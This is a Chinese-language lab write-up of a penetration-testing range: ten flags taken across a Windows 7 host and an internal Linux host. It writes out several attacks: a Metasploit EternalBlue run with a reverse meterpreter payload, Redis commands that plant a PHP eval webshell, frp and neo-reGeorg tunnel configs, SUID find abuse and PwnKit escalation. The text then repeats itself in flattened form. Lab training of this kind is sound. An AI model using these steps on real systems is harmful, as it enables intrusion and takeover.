记一次内部靶场渗透
字数 1750 2025-08-11 08:36:14

内网靶场渗透实战教学文档

靶场环境概述

  • 攻击机: Windows 11 (IP: 172.23.66.158)
  • 外网主机: Windows 7 (IP: 172.23.66.161,内网段: 10.10.10.3)
  • 内网主机: Linux (IP: 10.10.10.26)
  • 目标: 获取10个flag

第一阶段:外网渗透

Flag 1: Git信息泄露

  1. 发现过程:

    • 使用fscan扫描发现172.23.66.161开放80端口
    • 网站为DedeCMS系统,验证码无法显示导致无法注册
    • 目录扫描发现flag.php和.gitignore文件
    • .gitignore文件中发现第一个flag
  2. 技术要点:

    • .git目录可能泄露源代码和敏感信息
    • .gitignore文件揭示了不被版本控制的文件
    • 可使用工具如GitHack还原.git目录中的代码

Flag 2 & 3: 利用高危端口

  1. MS17-010永恒之蓝利用:

    • 发现开放139/445端口
    • Metasploit利用步骤:
      use exploit/windows/smb/ms17_010_eternalblue
      set payload windows/x64/meterpreter/reverse_tcp
      set rhosts 172.23.66.161
      exploit
      
    • 上传后门木马获取系统权限
  2. Redis未授权访问利用:

    • 发现开放6379端口
    • 利用redis-cli写入webshell:
      redis-cli.exe -h 172.23.66.161
      config set dir c:/phpstudy_pro/www
      config set dbfilename test.php
      set x "<?php eval($_POST[x]);?>"
      save
      
    • 通过蚁剑连接webshell获取flag

Flag 4: 数据库渗透

  1. 获取数据库凭据:

    • 查找DedeCMS默认数据库配置文件位置
    • 使用哥斯拉连接数据库(蚁剑数据库功能较弱)
  2. 技术要点:

    • CMS系统通常有固定的配置文件路径
    • 数据库可能存储敏感信息和flag

Flag 5: 提权与文件查找

  1. 直接查找flag:

    • 使用系统命令查找flag文件:
      • Windows: for /r c:/ %i in (*flag*) do @echo %i
      • Linux: find / -name "*flag*"
  2. Cobalt Strike提权方法:

    • 使用Scripted Web Delivery生成payload
    • 上传并执行payload使目标上线
    • 使用Elevate模块提权
    • 建议安装提权扩展包增加成功率

第二阶段:内网渗透

内网穿透技术

  1. 正向代理(neo-regeorg):

    • 生成隧道文件:
      python neoreg.py generate -k password
      
    • 上传tunnel.php到目标主机
    • 本地连接:
      python neoreg.py -k password -u http://目标IP/tunnel.php
      
    • 配置Proxifier使用SOCKS5代理(127.0.0.1:1080)
  2. 反向代理(frp):

    • frps.ini配置:
      [common]
      bind_port = 7000
      
    • frpc.ini配置:
      [common]
      server_addr = 127.0.0.1
      server_port = 7000
      
      [socks5]
      type = tcp
      remote_port = 46075
      plugin = socks5
      
    • 启动顺序: 先frps后frpc

Flag 6: 内网主机发现

  1. 内网扫描:
    • 在外网主机上扫描内网段: 10.10.10.1/24
    • 发现内网主机IP: 10.10.10.26
    • 通过代理访问内网服务

Flag 7: CMS后台渗透

  1. 发现过程:
    • 扫描发现内网CMS系统
    • 搜索并尝试默认后台密码
    • 成功登录后台获取flag

Flag 8 & 9: 配置文件与数据库

  1. 目录遍历:

    • 通过../跳转发现config.php
    • 获取数据库凭据
  2. PhpMyAdmin利用:

    • 发现/etc/PhpMyAdmin目录
    • 使用获取的凭据登录
    • 在数据库中查找flag

Flag 10: Linux提权

  1. SUID提权:

    • 查找具有SUID权限的文件:
      find / -perm -u=s -type f 2>/dev/null
      
    • 利用find命令提权:
      /usr/bin/find / -exec whoami \;
      /usr/bin/find / -exec cat /root/flag.txt \;
      
  2. CVE-2021-4034提权:

    • 上传Pwnkit提权工具
    • 设置权限:
      chmod 777 Pwnkit
      
    • 执行提权获取root权限

关键知识点总结

  1. 信息收集:

    • 端口扫描(nmap/fscan)
    • 目录扫描(御剑/dirsearch)
    • CMS指纹识别与漏洞搜索
  2. 漏洞利用:

    • MS17-010永恒之蓝
    • Redis未授权访问
    • CMS已知漏洞利用
  3. 权限维持:

    • Webshell上传
    • 后门植入
    • 隧道建立
  4. 内网穿透:

    • 正向代理(neo-regeorg)
    • 反向代理(frp)
    • SOCKS代理配置
  5. 提权技术:

    • Windows提权(Cobalt Strike)
    • Linux提权(SUID/CVE漏洞)
    • 数据库提权
  6. 文件查找:

    • Windows/Linux文件搜索命令
    • 敏感文件定位技巧
  7. 数据库渗透:

    • 配置文件查找
    • PhpMyAdmin利用
    • SQL文件写入

通过本靶场实战,全面涵盖了从外网渗透到内网横向移动的完整流程,重点训练了信息收集、漏洞利用、权限提升和内网穿透等核心渗透测试技能。

内网靶场渗透实战教学文档 靶场环境概述 攻击机 : Windows 11 (IP: 172.23.66.158) 外网主机 : Windows 7 (IP: 172.23.66.161,内网段: 10.10.10.3) 内网主机 : Linux (IP: 10.10.10.26) 目标 : 获取10个flag 第一阶段:外网渗透 Flag 1: Git信息泄露 发现过程 : 使用fscan扫描发现172.23.66.161开放80端口 网站为DedeCMS系统,验证码无法显示导致无法注册 目录扫描发现flag.php和.gitignore文件 .gitignore文件中发现第一个flag 技术要点 : .git 目录可能泄露源代码和敏感信息 .gitignore 文件揭示了不被版本控制的文件 可使用工具如GitHack还原.git目录中的代码 Flag 2 & 3: 利用高危端口 MS17-010永恒之蓝利用 : 发现开放139/445端口 Metasploit利用步骤: 上传后门木马获取系统权限 Redis未授权访问利用 : 发现开放6379端口 利用redis-cli写入webshell: 通过蚁剑连接webshell获取flag Flag 4: 数据库渗透 获取数据库凭据 : 查找DedeCMS默认数据库配置文件位置 使用哥斯拉连接数据库(蚁剑数据库功能较弱) 技术要点 : CMS系统通常有固定的配置文件路径 数据库可能存储敏感信息和flag Flag 5: 提权与文件查找 直接查找flag : 使用系统命令查找flag文件: Windows: for /r c:/ %i in (*flag*) do @echo %i Linux: find / -name "*flag*" Cobalt Strike提权方法 : 使用Scripted Web Delivery生成payload 上传并执行payload使目标上线 使用Elevate模块提权 建议安装提权扩展包增加成功率 第二阶段:内网渗透 内网穿透技术 正向代理(neo-regeorg) : 生成隧道文件: 上传tunnel.php到目标主机 本地连接: 配置Proxifier使用SOCKS5代理(127.0.0.1:1080) 反向代理(frp) : frps.ini配置: frpc.ini配置: 启动顺序: 先frps后frpc Flag 6: 内网主机发现 内网扫描 : 在外网主机上扫描内网段: 10.10.10.1/24 发现内网主机IP: 10.10.10.26 通过代理访问内网服务 Flag 7: CMS后台渗透 发现过程 : 扫描发现内网CMS系统 搜索并尝试默认后台密码 成功登录后台获取flag Flag 8 & 9: 配置文件与数据库 目录遍历 : 通过 ../ 跳转发现config.php 获取数据库凭据 PhpMyAdmin利用 : 发现/etc/PhpMyAdmin目录 使用获取的凭据登录 在数据库中查找flag Flag 10: Linux提权 SUID提权 : 查找具有SUID权限的文件: 利用find命令提权: CVE-2021-4034提权 : 上传Pwnkit提权工具 设置权限: 执行提权获取root权限 关键知识点总结 信息收集 : 端口扫描(nmap/fscan) 目录扫描(御剑/dirsearch) CMS指纹识别与漏洞搜索 漏洞利用 : MS17-010永恒之蓝 Redis未授权访问 CMS已知漏洞利用 权限维持 : Webshell上传 后门植入 隧道建立 内网穿透 : 正向代理(neo-regeorg) 反向代理(frp) SOCKS代理配置 提权技术 : Windows提权(Cobalt Strike) Linux提权(SUID/CVE漏洞) 数据库提权 文件查找 : Windows/Linux文件搜索命令 敏感文件定位技巧 数据库渗透 : 配置文件查找 PhpMyAdmin利用 SQL文件写入 通过本靶场实战,全面涵盖了从外网渗透到内网横向移动的完整流程,重点训练了信息收集、漏洞利用、权限提升和内网穿透等核心渗透测试技能。